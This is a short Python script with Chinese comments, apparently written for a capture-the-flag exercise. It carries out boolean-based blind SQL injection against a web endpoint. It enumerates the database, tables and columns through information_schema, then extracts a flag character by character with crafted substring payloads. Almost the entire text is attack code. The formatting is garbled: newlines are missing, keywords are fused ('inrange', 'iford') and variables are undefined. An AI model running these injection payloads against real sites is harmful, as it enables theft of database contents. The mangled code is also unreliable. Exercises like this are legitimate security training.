# 注入什么数据,select变量就写什么子查询语句 select = "select database()" select = "select group_concat(table_name) from information_schema.tables where table_schema=database()"#获取所有库名 select = "select group_concat(table_name) from information_schema.tables where table_schema='ctf'"#获取表名 select = "select group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='here_is_flag'"#获取字段名
select = "select flag from ctf.here_is_flag"
# 用来保存注入出的结果 result = ""
for i inrange(1,100): # 外层循环,从1开始,因为截取的位数是从1开始的 for ch in alphabet: # 内层循环,是具体需要测试的值 # 构造SQL语句,发起请求 #payload = f"' AND subStr((selEct database()) ,{i},1) = '{ch}' AND 'YSGl'='YSGl" payload = f"' AND subStr((SELECT flag FROM here_is_flag) ,{i},1) = '{ch}' AND 'YSGl'='YSGl" r = requests.get(url=url+payload) # 根据回显判断,如果得到了表示查询成功的回显,那么说明判断数据的这一位是正确的 iford(ch) < 66 : time.sleep(3) if"class_name"in r.text: result += ch print("注入成功:", result) #print(url+payload) break# 这一位已经跑出来了,可以break掉然后下一轮循环跑下一位数据了